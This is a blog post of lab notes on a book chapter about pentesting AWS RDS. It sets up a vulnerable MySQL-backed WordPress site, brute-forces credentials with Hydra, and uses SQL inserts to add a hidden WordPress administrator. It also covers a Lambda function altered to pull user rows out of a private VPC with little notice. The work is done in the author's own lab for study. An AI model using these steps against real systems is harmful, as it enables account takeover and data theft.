Posted in AWSPTwK, Blog

Hands-On AWS Penetration Testing with Kali Linux Section 5: Penetration Testing on Other AWS Services – Ch 13 – Pentesting and Securing AWS RDS

More notes…

Book info – Hands-On AWS Penetration Testing with Kali Linux

Disclaimer: Working through this book will use AWS, which costs money. Make sure you are doing things to manage your costs. If I remember, I’ll keep up with my costs to help get a general idea. But prices can change at any time, so major grain of salt.

Disclaimer #2: Jail is bad. Cybercrime is illegal. Educational purposes. IANAL. Don’t do things you shouldn’t. Etc. 

I decided to add this as I finish each chapter in this section (chapters 12-14) because it’s a lot of content, so if the chapter you are looking for isn’t here yet it will be soon. Ch 13 was pretty short lengthwise, but some important concepts.

Ch 13 – Pentesting and Securing AWS RDS

Ch 12 left off with pivoting into Virtual Private Clouds. I didn’t have a good setup for that, so I skipped it. As I read through ch 13, I thought it would be a good opportunity to test using Lambda functions to pivot, so hopefully this will work out. I’m looking forward to working through this chapter because RDS is new to me and working with the connections, etc. is a good refresher on database administration (granted at a low level, but still good to know).

My Plan

This chapter involves setting up an RDS and an Ubuntu EC2 to host a WordPress website. Then you use Kali to exploit the DB that was left publicly exposed. Knowing how quickly things get scanned and exploited, I’m not thrilled with public exposure. My intent is to set up the RDS, Ubuntu, and the Kali AMI I developed for this book in the same VPC – this removes the pubic access part, but will still allow me to exploit it in the same fashion as described in the book. Then I plan to launch a Lambda function into the VPC to pull info from the RDS. Hopefully I’ll be able to use the methods from the last chapter to pull info about the RDS that is “hidden” in the VPC.

The VPC will need an Internet Gateway associated with it. That will allow access to Ubuntu and Kali. One of those will be needed to manage the RDS. Alternatively, you could make the RDS public but restrict access to your IP(s).

Setting up a vulnerable RDS instance

Configuration has changed slightly from the book. For my setup: Create database > Standard Create > MySQL (MySQL Community, MySQL 8.0.17) > Free tier > Burstable db.t2.micro > Not publicly available. And got an error that I didn’t have enough availability zones in my VPC. Added another subnet in a different availability zone, and that got it to process. When you go to connect, make sure you use the full endpoint info.

mysql -h <RDSendpoint> -P 3306 -u <user> -p

I had to modify the syntax a little for the database creation based on the MySQL docs:

CREATE DATABASE newblog;
CREATE USER '<user>'@'localhost' IDENTIFIED BY '<password>';
GRANT ALL ON newblog.* TO '<user>'@'localhost';
FLUSH PRIVILEGES;
EXIT;

Connecting RDS to WordPress on EC2

Pop up an Ubuntu EC2 instance if you don’t have one in place for this lab. Run updates if necessary and install Apache. I setup my rules to allow traffic to the Ubuntu instance for just my IP. I also had a bit of a cranky sudo issue – I had to add the hostname to the /etc/hosts file (see here for more info). Add the php modules and what not.

Some clarification, when the book talks about updating the MySQL setting section, it’s in the wp-config.php file. It’s sort of intuitive, but not explicit, so I wondered for a minute what I was supposed to do. Then when you update the MySQL settings use the same RDS endpoint info as used to connect earlier.

ETA: In the config file, the DB Name the name of the DB created, name and password just created, and then the DB_Host is the RDS endpoint name.

Identifying and enumerating exposed RDS instances using Nmap

I used the AMI I created to pop up another Kali instance in the VPC I’m using for this lab since the way I set up my RDS wouldn’t allow my normal Kali instance to connect. This was all straightforward – ran as expected. The data returned varied a bit from the book, expected since the MySQL version was quite newer. I got the important piece (the list of valid usernames).

Exploitation and data extraction from a vulnerable RDS instance

Time to brute-force the passwords using Hydra. The book recommends using rockyou, so you might need to unzip it. It’s in the /usr/share/wordlists directory by default in Kali. Pulled creds with no issues. Some differences in syntax to add the user though.

INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_status) VALUES ("<user>", MD5("<password>"), "firstname lastname", "email@example.com", 0);
INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, (Select max(id) FROM wp_users), 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, (Select max(id) FROM wp_users), 'wp_user_level', '10');

Once done, you should be able to access the WordPress login page and use the creds you created.

All of that worked without issue except for the little syntax differences between the version of MySQL I used and the one the book referenced. Nice to have a lab that flowed easily. Now on to trying the pivot into VPC using a Lambda function from the last chapter.

VPC Lambda Test

I made a new Lambda function for this, but basically followed along with the book example. There isn’t a network tab anymore – you have to scroll down to the VPC section, then you can pick the custom VPC and subnet. You will need to have EC2 permissions to add the Lambda function to the VPC. I was able to get the info as described from the Ubuntu instance running Apache. That was interesting. I’m curious what I could do in terms of checking the RDS. It looks like there are quite a few things you can do with Lambda and RDS. So using what we’ve learned so far, you could elevate one of the accounts you’ve compromised to root level, enumerate the RDS instances, and go to town. I decided to follow the example AWS gave about connecting Lambda and RDS but modify it to read the table I created.

First up, create the function – I used the terminal rather than the web console since that’s what the walkthrough used. Create a Lambda VPC role as directed in the AWS walkthrough. Create a directory, then cd into the directory and touch lambda_function.py. My modified version ended up as:

import sys
import logging
import pymysql

rds_host = "RDSendpoint"
name = "<username>"
password = "<password>"
db_name = "<dbname>"

logger = logging.getLogger()
logger.setLevel(logging.INFO)

try:
    conn = pymysql.connect(rds_host, user=name, passwd=password, db=db_name, connect_timeout=5)
except pymysql.MySQLError as e:
    logger.error("ERROR: Unexpected error: Could not connect.")
    logger.error(e)
    sys.exit()

logger.info("SUCCESS: Connection to RDS MySQL instance succeeded")
def handler(event, context):
    item_count = 0
    with conn.cursor() as cur:
        cur.execute("select * from wp_users")
        for row in cur:
            item_count += 1
            logger.info(row)
            print(row)
    conn.commit()
    return "Info from RDS: %d" %(item_count)

I skipped the rds_config and put in the info directly since this was a one-off. Pull down the pymyseql dependencies and create the deployment package:

#Pull down requests to directory for function
sudo pip3 install requests --target ./<dir>
#The def get portion to edit is in the /requests/api.py file
cd ./<dir>
zip -r9 ./function.zip .
# Add lambda function code
zip -g ./function.zip ./lambda_function.py

For production, the names should probably be changed, but I used the same ones just for ease. Then you can upload the function using Lambda RW profile created earlier:

aws lambda create-function --function-name <Name> --runtime python3.8 --zip-file fileb://function.zip --handler app.handler --role: <LambdaVPCrole> --vpc-config SubnetIds=<desiredVPCsubnet1>,<desiredVPCsubnet2>,SecurityGroupIds=<securitygroupID> --profile <LambdaRWprofile>

The demo function from AWS put the user info into logs. Since my theoretical user didn’t have access to logs, I decided to mess around with the code until I could get it to return a dictionary of the users. That seemed like a somewhat realistic use case. So if I had stumbled across the function we just created I could pull it down as in chapter 12, and then make some minor modifications that would make the function return a dictionary of the users. I’ll freely admit this is unlikely to be a great exploitation option and is likely not the best way to do it, but it worked with some minimal code additions that I don’t think would be glaringly obvious to someone glancing at the Lambda function code. I tried changing the return to just be the dictionary of rows and just adding the dictionary to the string being printed, which just printed the last row. Depending on how much you want to alter things, I could see both being viable options. I think I might opt for the return tableRDS option by pulling the code down, making the change to pull info, then replacing with the original code. It would get noisy from a logging perspective though, so you would want to look at what you think would be the least likely to get you caught in your pentesting scenario.

“Exploit” version of the function:

import sys
import logging
import pymysql

rds_host = "RDSendpoint"
name = "<username>"
password = "<password>"
db_name = "<db>"

logger = logging.getLogger()
logger.setLevel(logging.INFO)

try:
    conn = pymysql.connect(rds_host, user=name, passwd=password, db=db_name, connect_timeout=5)
except pymysql.MySQLError as e:
    logger.error("ERROR: Unexpected error: Could not connect.")
    logger.error(e)
    sys.exit()

logger.info("SUCCESS: Connection to RDS MySQL instance succeeded")
def handler(event, context):
    item_count = 0
    # Add dictionary to hold rows pulled
    tableRDS = {}
    with conn.cursor() as cur:
        cur.execute("select * from wp_users")
        for row in cur:
            item_count += 1
            logger.info(row)
            #Add row to dictionary
            tableRDS = {item_count:row}
            #print(row)
    conn.commit()
    # Add %s and tableRDS to return information to pull down the dictionary, pulls down last entry
    return "Info from RDS: %d %s" %(item_count, tableRDS) 
	# Alternatively change to
    return tableRDS

To pull down the returned info from the function in the terminal:

aws lambda invoke --function-name <FunctionName> output.txt --profile <lambdaprofile>

Then just cat the output file to see what you got. Pretty slick.

I thought this was a cool way to pull together some concepts and make me think about how to get data without following the book exactly. Plus I got to try out creating a Lambda function from the command line and connecting Lambda to RDS. And from a pivoting into a VPC standpoint, I was able to exfiltrate data from an RDS that was not accessible outside of the VPC, so I’m pretty happy about that. It certainly raises some interesting possibilities of things that you can do with a Lambda function that launches into a VPC.

Summary

Nice short chapter after 12. New things to try and an opportunity to connect some concepts. I’m seeing some things that I would want to set up monitoring for in AWS. I liked being able to create a Lambda from the CLI. That was a little detour that could come in handy. All of this is of course predicated on being able to acquire credentials, but seeing what the different roles can do and how the granularity can help you secure your AWS environment is very interesting.

Author:

Lifelong paradox - cyber sec enthusiast - loves to learn

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.